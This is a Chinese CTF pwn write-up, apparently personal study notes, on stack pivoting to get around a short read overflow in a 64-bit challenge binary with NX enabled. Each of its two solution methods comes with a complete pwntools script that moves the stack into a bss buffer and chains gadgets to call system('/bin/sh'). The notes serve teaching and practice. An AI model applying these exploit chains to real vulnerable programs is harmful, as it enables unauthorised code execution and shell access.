CTF-Pwn技巧之stack pivoting
一、引言
最近在学习CTF的一些技巧,其中用到了stack pivoting(栈迁移),这里做个笔记。
栈迁移利用的条件
- ebp/rsp可控
- 有一大段空间可控
二、题目分析
首先我们查看程序保护情况,64位程序,仅开启了NX,那么不能使用shellcode,可以使用ret2text、ret2libc等利用方法。
使用Ghidra反编译软件打开程序,可以看到程序的漏洞点在末尾的read函数,local_28如果溢出会覆盖返回值。
我们仔细观察,在main函数中间,还有一个read,读取的内容存储在bssBuf中,最大0x100字节。
仔细查看程序,可以找到system函数的调用,可惜执行的内容不是“/bin/sh”,而是打印一段字符串“hello?”。
这样,我们得自己构建system("/bin/sh"),首先使用RopGadget寻找gadget
下面我们来分析一下,正常的情况就如图中间的方式利用,可是read只读取了0x30字节数据,后面的内容都没有覆盖到。
三、解题
使用栈迁移法,由于RBP可控,bssbuf可控,那么可以将bssbuf当作新的栈,在栈上构建ROP链,不过还要注意的是64位程序要求栈对齐,即末尾为0或者8才行。
1、方法一:插入ret法
(1)使上一个函数的rbp=bssbuf+8,然后main函数末尾ret之后,rsp=bssbuf+8,rsp尾部就为8了;
(2)在pop rdi; ret之前插入一个ret,执行ret后,就能使rsp=bssbuf+8+8,rsp尾部为0,就对齐了。
解题代码:
from pwn import*
p = process("./stackpivoting")
gadget1 = 0x40127C # leave; ret
gadget2 = 0x40101a # ret
gadget3 = 0x4012e3 # pop rdi ; ret
binsh_addr = 0x4033F8 # "/bin/sh"
system_addr = 0x401080 # system .plt
bssbuf_addr = 0x405440 # bssbuf
payload = "A" * 0x8
payload += p64(gadget2)
payload += p64(gadget3)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.recvuntil("Pls input your ropchain")
p.send(payload)
p.recvuntil("Pls input your stack pivoting chain")
payload = "A" * 0x20
payload += p64(bssbuf_addr) # rbp
payload += p64(gadget1)
p.send(payload)
p.interactive()
2、方法二:指定地址法
使上一个函数的rbp=bssbuf+8,然后main函数末尾ret之后,rsp=bssbuf+8+8,rsp尾部为0,就对齐了。
解题代码:
from pwn import*
p = process("./stackpivoting")
gadget1 = 0x40127C # leave; ret
gadget2 = 0x4012e3 # pop rdi ; ret
binsh_addr = 0x4033F8 # "/bin/sh"
system_addr = 0x401080 # system .plt
bssbuf_8_addr = 0x405448 # bssbuf+8
payload = "A" * 0x8
payload += "B" * 0x8
payload += p64(gadget2)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.recvuntil("Pls input your ropchain")
p.send(payload)
p.recvuntil("Pls input your stack pivoting chain")
payload = "A" * 0x20
payload += p64(bssbuf_8_addr) # rbp
payload += p64(gadget1)
p.send(payload)
p.interactive()